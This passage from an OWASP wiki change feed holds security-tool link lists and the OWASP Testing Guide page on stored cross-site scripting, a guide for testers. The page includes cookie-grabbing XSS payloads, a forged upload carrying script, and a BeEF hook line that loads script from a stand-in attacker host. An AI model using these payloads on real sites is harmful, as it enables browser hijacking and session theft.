An even more complete list here - http://www.cs.cmu.edu/~aldrich/courses/654/tools/&amp;lt;br /&amp;gt;&lt;br /&gt;
A nice list that claims some demos available - http://www.cs.cmu.edu/~aldrich/courses/413/tools.html&amp;lt;br /&amp;gt;&lt;br /&gt;
A smaller, but also good list - http://spinroot.com/static/&amp;lt;br /&amp;gt;&lt;br /&gt;
Yasca: A highly extensible source code analysis framework; incorporates several analysis tools into one package. http://www.yasca.org/&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Static analysis for C/C++ (CGI, ISAPI, etc) in web applications==&lt;br /&gt;
RATS - http://www.securesoftware.com/resources/download_rats.html&amp;lt;br /&amp;gt;&lt;br /&gt;
ITS4 - http://www.cigital.com/its4/&amp;lt;br /&amp;gt;&lt;br /&gt;
FlawFinder - http://www.dwheeler.com/flawfinder/&amp;lt;br /&amp;gt;&lt;br /&gt;
Splint - http://www.splint.org/&amp;lt;br /&amp;gt;&lt;br /&gt;
Uno - http://spinroot.com/uno/&amp;lt;br /&amp;gt;&lt;br /&gt;
BOON (Buffer Overrun detectiON) - http://www.cs.berkeley.edu/~daw/boon/ http://boon.sourceforge.net&amp;lt;br /&amp;gt;&lt;br /&gt;
Valgrind - http://www.valgrind.org/&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Java static analysis, security frameworks, and web application security tools==&lt;br /&gt;
LAPSE - http://suif.stanford.edu/~livshits/work/lapse/ &amp;lt;br/&amp;gt;&lt;br /&gt;
CodePro Analytix - http://code.google.com/webtoolkit/tools/codepro/doc/index.html&amp;lt;br/&amp;gt;&lt;br /&gt;
HDIV Struts - http://hdiv.org/&amp;lt;br /&amp;gt;&lt;br /&gt;
Orizon - http://sourceforge.net/projects/orizon/&amp;lt;br /&amp;gt;&lt;br /&gt;
FindBugs: Find bugs in Java programs - http://findbugs.sourceforge.net/&amp;lt;br /&amp;gt;&lt;br /&gt;
PMD - http://pmd.sourceforge.net/&amp;lt;br /&amp;gt;&lt;br /&gt;
CUTE: A Concolic Unit Testing Engine for C and Java - http://osl.cs.uiuc.edu/~ksen/cute/&amp;lt;br /&amp;gt;&lt;br /&gt;
EMMA - http://emma.sourceforge.net/&amp;lt;br /&amp;gt;&lt;br /&gt;
JLint - http://jlint.sourceforge.net/&amp;lt;br /&amp;gt;&lt;br /&gt;
Java PathFinder - http://javapathfinder.sourceforge.net/&amp;lt;br /&amp;gt;&lt;br /&gt;
Fujaba: Move between UML and Java source code - http://wwwcs.uni-paderborn.de/cs/fujaba/&amp;lt;br /&amp;gt;&lt;br /&gt;
Checkstyle - http://checkstyle.sourceforge.net/&amp;lt;br /&amp;gt;&lt;br /&gt;
Cookie Revolver Security Framework - http://sourceforge.net/projects/cookie-revolver&amp;lt;br /&amp;gt;&lt;br /&gt;
tinapoc - http://sourceforge.net/projects/tinapoc&amp;lt;br /&amp;gt;&lt;br /&gt;
jarsigner - http://java.sun.com/j2se/1.5.0/docs/tooldocs/solaris/jarsigner.html&amp;lt;br /&amp;gt;&lt;br /&gt;
Solex - http://solex.sourceforge.net/&amp;lt;br /&amp;gt;&lt;br /&gt;
Java Explorer - http://metal.hurlant.com/jexplore/&amp;lt;br /&amp;gt;&lt;br /&gt;
HTTPClient - http://www.innovation.ch/java/HTTPClient/&amp;lt;br /&amp;gt;&lt;br /&gt;
another HttpClient - http://jakarta.apache.org/commons/httpclient/&amp;lt;br /&amp;gt;&lt;br /&gt;
a list of code coverage and analysis tools for Java - http://mythinkpond.blogspot.com/2007/06/java-foss-freeopen-source-software.html&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Microsoft .NET static analysis and security framework tools, mostly for ASP.NET and ASP.NET AJAX, but also C# and VB.NET==&lt;br /&gt;
* Visual Studio 2008 Code Analysis, available in:&lt;br /&gt;
** VSTS 2008 Development Edition (http://msdn.microsoft.com/vsts2008/products/bb933752.aspx) and &lt;br /&gt;
** VSTS 2008 Team Suite (http://msdn.microsoft.com/vsts2008/products/bb933735.aspx)&lt;br /&gt;
* Visual Studio 2005 Code Analyzer, available in:&lt;br /&gt;
** Visual Studio 2005 Team Edition for Software Developers  (http://msdn.microsoft.com/en-us/vstudio/aa718806.aspx)&lt;br /&gt;
** Visual Studio 2005 Team Suite (http://msdn.microsoft.com/en-us/vstudio/aa718806.aspx)&lt;br /&gt;
* Web Development Helper - http://www.nikhilk.net/Project.WebDevHelper.aspx&lt;br /&gt;
* FxCop:&lt;br /&gt;
** (blog) http://blogs.msdn.com/fxcop/&lt;br /&gt;
** (download) http://code.msdn.microsoft.com/codeanalysis&lt;br /&gt;
* Microsoft internal tools you can't have yet:&lt;br /&gt;
** http://www.microsoft.com/windows/cse/pa_projects.mspx &lt;br /&gt;
** http://research.microsoft.com/Pex/ &lt;br /&gt;
** http://www.owasp.org/images/5/5b/OWASP_IL_7_FuzzGuru.pdf&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Database security assessment=&lt;br /&gt;
Scuba by Imperva Database Vulnerability Scanner - http://www.imperva.com/scuba/&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Threat modeling=&lt;br /&gt;
Microsoft Threat Analysis and Modeling Tool v2.1 (TAM) - http://www.microsoft.com/downloads/details.aspx?FamilyID=59888078-9daf-4e96-b7d1-944703479451&amp;amp;displaylang=en&amp;lt;br /&amp;gt;&lt;br /&gt;
Amenaza: Attack Tree Modeling (SecurITree) - http://www.amenaza.com/software.php&amp;lt;br /&amp;gt;&lt;br /&gt;
Octotrike - http://www.octotrike.org/&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Misc=&lt;br /&gt;
&lt;br /&gt;
==RSS extensions and caching==&lt;br /&gt;
rss-cache - http://www.dubfire.net/chris/projects/rss-cache/&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Blackhat SEO and maybe some whitehat SEO==&lt;br /&gt;
SearchStatus (Firefox Add-on) - http://www.quirk.biz/searchstatus/&amp;lt;br /&amp;gt;&lt;br /&gt;
SEO for Firefox (Firefox Add-on) - http://tools.seobook.com/firefox/seo-for-firefox.html&amp;lt;br /&amp;gt;&lt;br /&gt;
SEOQuake (Firefox Add-on) - http://www.seoquake.com/&amp;lt;br /&amp;gt;&lt;br /&gt;
Analytics seo - http://www.analyticsseo.com/&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Web application security malware, backdoors, and evil code==&lt;br /&gt;
Jikto - http://busin3ss.name/jikto-in-the-wild/&amp;lt;br /&amp;gt;&lt;br /&gt;
XSS Shell - http://ferruh.mavituna.com/article/?1338&amp;lt;br /&amp;gt;&lt;br /&gt;
XSS-Proxy - http://xss-proxy.sourceforge.net&amp;lt;br /&amp;gt;&lt;br /&gt;
AttackAPI - http://www.gnucitizen.org/projects/attackapi/&amp;lt;br /&amp;gt;&lt;br /&gt;
FFsniFF - http://azurit.elbiahosting.sk/ffsniff/&amp;lt;br /&amp;gt;&lt;br /&gt;
HoneyBlog's web-based junkyard - http://honeyblog.org/junkyard/web-based/&amp;lt;br /&amp;gt;&lt;br /&gt;
BeEF - http://www.beefproject.com&amp;lt;br /&amp;gt;&lt;br /&gt;
Firefox Extension Scanner (FEX) - http://www.gnucitizen.org/projects/fex/&amp;lt;br /&amp;gt;&lt;br /&gt;
What is my IP address? - http://reglos.de/myaddress/&amp;lt;br /&amp;gt;&lt;br /&gt;
xRumer: blogspam automation tool - http://www.botmaster.net/movies/XFull.htm&amp;lt;br /&amp;gt;&lt;br /&gt;
SpyJax - http://www.merchantos.com/makebeta/tools/spyjax/&amp;lt;br /&amp;gt;&lt;br /&gt;
Greasecarnaval - http://www.gnucitizen.org/projects/greasecarnaval&amp;lt;br /&amp;gt;&lt;br /&gt;
Technika - http://www.gnucitizen.org/projects/technika/&amp;lt;br /&amp;gt;&lt;br /&gt;
Load-AttackAPI bookmarklet - http://www.gnucitizen.org/projects/load-attackapi-bookmarklet&amp;lt;br /&amp;gt;&lt;br /&gt;
MD's Projects: JS port scanner, pinger, backdoors, etc - http://michaeldaw.org/my-projects/&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Honeyclients, Web Application, and Web Proxy honeypots==&lt;br /&gt;
Honeyclient Project: an open-source honeyclient - http://www.honeyclient.org/trac/ &amp;lt;br /&amp;gt;&lt;br /&gt;
HoneyC: the low-interaction honeyclient - http://honeyc.sourceforge.net/&amp;lt;br /&amp;gt;&lt;br /&gt;
Capture: a high-interaction honeyclient - http://capture-hpc.sourceforge.net/&amp;lt;br /&amp;gt;&lt;br /&gt;
Google Hack Honeypot - http://ghh.sourceforge.net/&amp;lt;br /&amp;gt;&lt;br /&gt;
PHP.Hop - PHP Honeynet Project - http://www.rstack.org/phphop/&amp;lt;br /&amp;gt;&lt;br /&gt;
SpyBye - http://www.monkey.org/~provos/spybye/&amp;lt;br /&amp;gt;&lt;br /&gt;
Honeytokens - http://www.securityfocus.com/infocus/1713&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Browser Privacy/ Defenses=&lt;br /&gt;
&lt;br /&gt;
==Browser Defenses==&lt;br /&gt;
Adblock Plus (Firefox Add-on) - https://addons.mozilla.org/en-US/firefox/addon/adblock-plus/&amp;lt;br /&amp;gt;&lt;br /&gt;
NoScript (Firefox Add-on) - http://www.noscript.net/&amp;lt;br /&amp;gt;&lt;br /&gt;
DieHard - http://www.diehard-software.org/&amp;lt;br /&amp;gt;&lt;br /&gt;
LocalRodeo (Firefox Add-on) - http://databasement.net/labs/localrodeo/&amp;lt;br /&amp;gt;&lt;br /&gt;
NoMoXSS - http://www.seclab.tuwien.ac.at/projects/jstaint/&amp;lt;br /&amp;gt;&lt;br /&gt;
FlashBlock (Firefox Add-on) - http://flashblock.mozdev.org/&amp;lt;br /&amp;gt;&lt;br /&gt;
FormFox (Firefox Add-on) - https://addons.mozilla.org/en-US/firefox/addon/1579/&amp;lt;br /&amp;gt;&lt;br /&gt;
SafeCache (Firefox Add-on) - http://www.safecache.com/&amp;lt;br /&amp;gt;&lt;br /&gt;
SafeHistory (Firefox Add-on) - http://www.safehistory.com/&amp;lt;br /&amp;gt;&lt;br /&gt;
PrefBar (Firefox Add-on) - http://prefbar.mozdev.org/&amp;lt;br /&amp;gt;&lt;br /&gt;
All-in-One Sidebar (Firefox Add-on) - https://addons.mozilla.org/en-US/firefox/addon/1027/&amp;lt;br /&amp;gt;&lt;br /&gt;
Update Notified (Firefox Add-on) - https://addons.mozilla.org/en-US/firefox/addon/2098/&amp;lt;br /&amp;gt;&lt;br /&gt;
FireKeeper - http://firekeeper.mozdev.org/&amp;lt;br /&amp;gt;&lt;br /&gt;
Greasemonkey: XSS Malware Script Detector - http://yehg.net/lab/#tools.greasemonkey&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Browser Privacy==&lt;br /&gt;
BetterPrivacy (Firefox Add-on) - https://addons.mozilla.org/en-US/firefox/addon/betterprivacy/&amp;lt;br /&amp;gt;&lt;br /&gt;
TrackMeNot (Firefox Add-on) - https://addons.mozilla.org/en-US/firefox/addon/trackmenot/&amp;lt;br /&amp;gt;&lt;br /&gt;
Privacy Bird - http://www.privacybird.com/&amp;lt;br /&amp;gt;&lt;br /&gt;
HTTPS Everywhere - https://www.eff.org/https-everywhere&amp;lt;br /&amp;gt;&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)&amp;diff=142060</id>
		<title>Testing for Stored Cross site scripting (OTG-INPVAL-002)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)&amp;diff=142060"/>
				<updated>2013-01-09T12:17:27Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: Updated the BeEF demo&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
Stored [[Cross-site Scripting (XSS)]] is the most dangerous type of Cross Site Scripting. Web applications that allow users to store data are potentially exposed to this type of attack. This chapter illustrates examples of stored cross site scripting injection and related exploitation scenarios.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
Stored XSS occurs when a web application gathers input from a user which might be malicious, and then stores that input in a data store for later use. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the web site and run within the user’s browser under the privileges of the web application. Since this vulnerability typically involves at least two requests to the application, this may also called second-order XSS.&lt;br /&gt;
&lt;br /&gt;
This vulnerability can be used to conduct a number of browser-based attacks including:&lt;br /&gt;
&lt;br /&gt;
* Hijacking another user's browser&lt;br /&gt;
* Capturing sensitive information viewed by application users&lt;br /&gt;
* Pseudo defacement of the application&lt;br /&gt;
* Port scanning of internal hosts (&amp;quot;internal&amp;quot; in relation to the users of the web application)&lt;br /&gt;
* Directed delivery of browser-based exploits&lt;br /&gt;
* Other malicious activities&lt;br /&gt;
&lt;br /&gt;
Stored XSS does not need a malicious link to be exploited. A successful exploitation occurs when a user visits a page with a stored XSS. The following phases relate to a typical stored XSS attack scenario:&lt;br /&gt;
&lt;br /&gt;
* Attacker stores malicious code into the vulnerable page&lt;br /&gt;
* User authenticates in the application&lt;br /&gt;
* User visits vulnerable page&lt;br /&gt;
* Malicious code is executed by the user's browser&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;This type of attack can also be exploited with browser exploitation frameworks such as [http://www.beefproject.com BeEF], [http://xss-proxy.sourceforge.net/ XSS Proxy] and [http://www.gnucitizen.org/projects/backframe/ Backframe]. These frameworks allow for complex JavaScript exploit development.&lt;br /&gt;
&lt;br /&gt;
Stored XSS is particularly dangerous in application areas where users with high privileges have access. When the administrator visits the vulnerable page, the attack is automatically executed by their browser. This might expose sensitive information such as session authorization tokens.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
The process for identifying stored XSS vulnerabilities is similar to the process described during the [[Testing for Reflected Cross site scripting (OWASP-DV-001)|testing for reflected XSS]].&lt;br /&gt;
&lt;br /&gt;
'''Input Forms'''&lt;br /&gt;
&lt;br /&gt;
The first step is to identify all points where user input is stored into the back-end and then displayed by the application.  Typical examples of stored user input can be found in:&lt;br /&gt;
&lt;br /&gt;
* User/Profiles page: the application allows the user to edit/change profile details such as first name, last name, nickname, avatar, picture, address, etc.&lt;br /&gt;
* Shopping cart: the application allows the user to store items into the shopping cart which can then be reviewed later&lt;br /&gt;
* File Manager: application that allows upload of files&lt;br /&gt;
* Application settings/preferences: application that allows the user to set preferences&lt;br /&gt;
* Forum/Message board: application that permits exchange of posts among users&lt;br /&gt;
* Blog: if the blog application permits to users submitting comments&lt;br /&gt;
* Log: if the application stores some users input into logs.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Analyze HTML code'''&lt;br /&gt;
&lt;br /&gt;
Input stored by the application is normally used in HTML tags, but it can also be found as part of JavaScript content. At this stage, it is fundamental to understand if input is stored and how it is positioned in the context of the page. Differently from reflected XSS, the pen-tester should also investigate any out-of-band channels through which the application receives and stores users input.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: All areas of the application accessible by administrators should be tested to identify the presence of any data submitted by users. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: Email stored data in index2.php&lt;br /&gt;
&lt;br /&gt;
[[Image:Stored_input_example.jpg]]&lt;br /&gt;
&lt;br /&gt;
The HTML code of index2.php where the email value is located:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;input class=&amp;quot;inputbox&amp;quot; type=&amp;quot;text&amp;quot; name=&amp;quot;email&amp;quot; size=&amp;quot;40&amp;quot; value=&amp;quot;aaa@aa.com&amp;quot; /&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this case, the pen-tester needs to find a way to inject code outside the &amp;lt;input&amp;gt; tag as below:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;input class=&amp;quot;inputbox&amp;quot; type=&amp;quot;text&amp;quot; name=&amp;quot;email&amp;quot; size=&amp;quot;40&amp;quot; value=&amp;quot;aaa@aa.com&amp;quot;&amp;gt; MALICIOUS CODE &amp;lt;!-- /&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Testing for Stored XSS'''&lt;br /&gt;
&lt;br /&gt;
This involves testing the input validation/filtering controls of the application. Basic injection examples in this case:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;aaa@aa.com&amp;amp;quot;&amp;amp;gt;&amp;amp;lt;script&amp;amp;gt;alert(document.cookie)&amp;amp;lt;/script&amp;amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;aaa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensure the input is submitted through the application. This normally involves disabling JavaScript if client-side security controls are implemented or modifying the HTTP request with a web proxy such as [[OWASP WebScarab Project|WebScarab]]. It is also important to test the same injection with both HTTP GET and POST requests. The above injection results in a popup window containing the cookie values.&lt;br /&gt;
&lt;br /&gt;
'''Result Expected''':&lt;br /&gt;
&lt;br /&gt;
[[Image:Stored_xss_example.jpg]]&lt;br /&gt;
&lt;br /&gt;
The HTML code following the injection:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;input class=&amp;quot;inputbox&amp;quot; type=&amp;quot;text&amp;quot; name=&amp;quot;email&amp;quot; size=&amp;quot;40&amp;quot; value=&amp;quot;aaa@aa.com&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
The input is stored and the XSS payload is executed by the browser when reloading the page.&amp;lt;br&amp;gt;&lt;br /&gt;
If the input is escaped by the application, testers should test the application for XSS filters. For instance, if the string &amp;quot;SCRIPT&amp;quot; is replaced by a space or by a NULL character then this could be a potential sign of XSS filtering in action. Many techniques exist in order to evade input filters (see [[Testing for Reflected Cross site scripting (OWASP-DV-001)|testing for reflected XSS]] chapter). It is strongly recommended that testers refer to [[XSS Filter Evasion Cheat Sheet|XSS Filter Evasion]] ,  [http://ha.ckers.org/xss.html RSnake] and [https://h4k.in/encoding/ Mario] XSS Cheat pages which provide an extensive list of XSS attacks and filtering bypasses. Refer to the whitepapers/tools section for more detailed information.&lt;br /&gt;
&lt;br /&gt;
'''Leverage Stored XSS with BeEF'''&lt;br /&gt;
&lt;br /&gt;
Stored XSS can be exploited by advanced JavaScript exploitation frameworks such as [http://www.beefproject.com BeEF], [http://xss-proxy.sourceforge.net/ XSS Proxy] and [http://www.gnucitizen.org/projects/backframe/ Backframe]. Let’s see what a typical BeEF exploitation scenario involves:&lt;br /&gt;
&lt;br /&gt;
* Injecting a JavaScript hook which communicates to the attacker's browser exploitation framework (BeEF)&lt;br /&gt;
* Waiting for the application user to view the vulnerable page where the stored input is displayed&lt;br /&gt;
* Control the application user’s browser via the BeEF console&lt;br /&gt;
&lt;br /&gt;
The JavaScript hook can be injected by exploiting the XSS vulnerability in the web application.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: BeEF Injection in index2.php:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;aaa@aa.com”&amp;gt;&amp;lt;script src=http://attackersite/hook.js&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
When the user loads the page index2.php, the script hook.js is executed by the browser. It is then possible to access cookies, user screenshot, user clipboard, and launch complex XSS attacks.&lt;br /&gt;
&lt;br /&gt;
'''Result Expected'''&lt;br /&gt;
&lt;br /&gt;
[[Image:RubyBeef.png]]&lt;br /&gt;
&lt;br /&gt;
This attack is particularly effective in vulnerable pages that are viewed by many users with different privileges.&lt;br /&gt;
&lt;br /&gt;
'''File Upload'''&lt;br /&gt;
&lt;br /&gt;
If the web application allows file upload, it is important to check if it is possible to upload HTML content. For instance, if HTML or TXT files are allowed, XSS payload can be injected in the file uploaded. The pen-tester should also verify if the file upload allows setting arbitrary MIME types.&lt;br /&gt;
&lt;br /&gt;
Consider the following HTTP POST request for file upload:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST /fileupload.aspx HTTP/1.1&lt;br /&gt;
[…]&lt;br /&gt;
&lt;br /&gt;
Content-Disposition: form-data; name=&amp;quot;uploadfile1&amp;quot;; filename=&amp;quot;C:\Documents and Settings\test\Desktop\test.txt&amp;quot;&lt;br /&gt;
Content-Type: text/plain&lt;br /&gt;
&lt;br /&gt;
test&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This design flaw can be exploited in browser MIME mishandling attacks. For instance, innocuous-looking files like JPG and GIF can contain an XSS payload that is executed when they are loaded by the browser. This is possible when the MIME type for an image such as image/gif can instead be set to text/html. In this case the file will be treated by the client browser as HTML.&lt;br /&gt;
&lt;br /&gt;
HTTP POST Request forged:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Content-Disposition: form-data; name=&amp;quot;uploadfile1&amp;quot;; filename=&amp;quot;C:\Documents and Settings\test\Desktop\test.gif&amp;quot;&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also consider that Internet Explorer does not handle MIME types in the same way as Mozilla Firefox or other browsers do. For instance, Internet Explorer handles TXT files with HTML content as HTML content. For further information about MIME handling, refer to the whitepapers section at the bottom of this chapter.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example ==&lt;br /&gt;
Gray Box testing is similar to Black box testing. In gray box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and data storage might be known by the pen-tester.&lt;br /&gt;
 &lt;br /&gt;
Depending on the information available, it is normally recommended that testers check how user input is processed by the application and then stored into the back-end system. The following steps are recommended:&lt;br /&gt;
&lt;br /&gt;
* Use front-end application and enter input with special/invalid characters&lt;br /&gt;
* Analyze application response(s)&lt;br /&gt;
* Identify presence of input validation controls&lt;br /&gt;
* Access back-end system and check if input is stored and how it is stored&lt;br /&gt;
* Analyze source code and understand how stored input is rendered by the application&lt;br /&gt;
&lt;br /&gt;
If source code is available (White Box), all variables used in input forms should be analyzed.&lt;br /&gt;
&lt;br /&gt;
In particular, programming languages such as PHP, ASP, and JSP make use of predefined variables/functions to store input from HTTP GET and POST requests.&lt;br /&gt;
&lt;br /&gt;
The following table summarizes some special variables and functions to look at when analyzing source code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;blockquote style=&amp;quot;background: white; border: 1px solid rgb(153, 153, 153); padding: 1em;&amp;quot;&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;margin: 1em auto 1em auto&amp;quot;&lt;br /&gt;
| '''PHP''' || '''ASP''' || '''JSP'''&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
* $_GET - HTTP GET variables&lt;br /&gt;
* $_POST - HTTP POST variables&lt;br /&gt;
* $_REQUEST – http POST, GET and COOKIE variables&lt;br /&gt;
* $_FILES - HTTP File Upload variables&lt;br /&gt;
|| &lt;br /&gt;
* Request.QueryString - HTTP GET&lt;br /&gt;
* Request.Form - HTTP POST&lt;br /&gt;
* Server.CreateObject - used to upload files&lt;br /&gt;
|| &lt;br /&gt;
* doGet, doPost servlets - HTTP GET and POST&lt;br /&gt;
* request.getParameter - HTTP GET/POST variables&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The table above is only a summary of the most important parameters but, all user input parameters should be investigated.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[[XSS Filter Evasion Cheat Sheet]] &lt;br /&gt;
&lt;br /&gt;
'''Books'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Joel Scambray, Mike Shema, Caleb Sima - &amp;quot;Hacking Exposed Web Applications&amp;quot;, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto - &amp;quot;The Web Application's Handbook - Discovering and Exploiting Security Flaws&amp;quot;, 2008, Wiley, ISBN 978-0-470-17077-9&lt;br /&gt;
* Jeremiah Grossman, Robert &amp;quot;RSnake&amp;quot; Hansen, Petko &amp;quot;pdp&amp;quot; D. Petkov, Anton Rager, Seth Fogie - &amp;quot;Cross Site Scripting Attacks: XSS Exploits and Defense&amp;quot;, 2007, Syngress, ISBN-10: 1-59749-154-3&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* RSnake: &amp;quot;XSS (Cross Site Scripting) Cheat Sheet&amp;quot; - http://ha.ckers.org/xss.html&lt;br /&gt;
&lt;br /&gt;
* CERT: &amp;quot;CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests&amp;quot; - http://www.cert.org/advisories/CA-2000-02.html&lt;br /&gt;
&lt;br /&gt;
* Amit Klein: &amp;quot;Cross-site Scripting Explained&amp;quot; - http://courses.csail.mit.edu/6.857/2009/handouts/css-explained.pdf&lt;br /&gt;
&lt;br /&gt;
* Gunter Ollmann: &amp;quot;HTML Code Injection and Cross-site Scripting&amp;quot; - http://www.technicalinfo.net/papers/CSS.html&lt;br /&gt;
&lt;br /&gt;
* CGISecurity.com: &amp;quot;The Cross Site Scripting FAQ&amp;quot; - http://www.cgisecurity.com/xss-faq.html&lt;br /&gt;
&lt;br /&gt;
* Blake Frantz: &amp;quot;Flirting with MIME Types: A Browser's Perspective&amp;quot; - http://www.leviathansecurity.com/pdf/Flirting%20with%20MIME%20Types.pdf&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* '''[[OWASP CAL9000 Project|OWASP CAL9000]]''' &lt;br /&gt;
CAL9000 includes a sortable implementation of RSnake's XSS Attacks, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more. &lt;br /&gt;
&lt;br /&gt;
* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding&lt;br /&gt;
PCE helps you encode arbitrary texts to and from 65 kinds of character sets that you can use in your customized payloads.&lt;br /&gt;
&lt;br /&gt;
* '''Hackvertor''' - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php&lt;br /&gt;
Hackvertor is an online tool which allows many types of encoding and obfuscation of JavaScript (or any string input).&lt;br /&gt;
&lt;br /&gt;
* '''BeEF''' - http://www.beefproject.com&lt;br /&gt;
BeEF is the browser exploitation framework. A professional tool to demonstrate the real-time impact of browser vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
* '''XSS-Proxy''' - http://xss-proxy.sourceforge.net/&lt;br /&gt;
XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.&lt;br /&gt;
&lt;br /&gt;
* '''Backframe''' - http://www.gnucitizen.org/projects/backframe/&lt;br /&gt;
Backframe is a full-featured attack console for exploiting WEB browsers, WEB users, and WEB applications.&lt;br /&gt;
&lt;br /&gt;
* '''[[OWASP WebScarab Project|WebScarab]]'''&lt;br /&gt;
WebScarab is a framework for analyzing applications that communicate using the HTTP and HTTPS protocols.&lt;br /&gt;
&lt;br /&gt;
* '''Burp''' - http://portswigger.net/burp/&lt;br /&gt;
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications. &lt;br /&gt;
&lt;br /&gt;
* '''XSS Assistant''' - http://www.greasespot.net/&lt;br /&gt;
Greasemonkey script that allow users to easily test any web application for cross-site-scripting flaws.&lt;br /&gt;
&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - [[OWASP_Zed_Attack_Proxy_Project]]&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=File:RubyBeef.png&amp;diff=142059</id>
		<title>File:RubyBeef.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=File:RubyBeef.png&amp;diff=142059"/>
				<updated>2013-01-09T12:15:13Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: Screenshot of the Ruby BeEF User Interface&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Screenshot of the Ruby BeEF User Interface&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
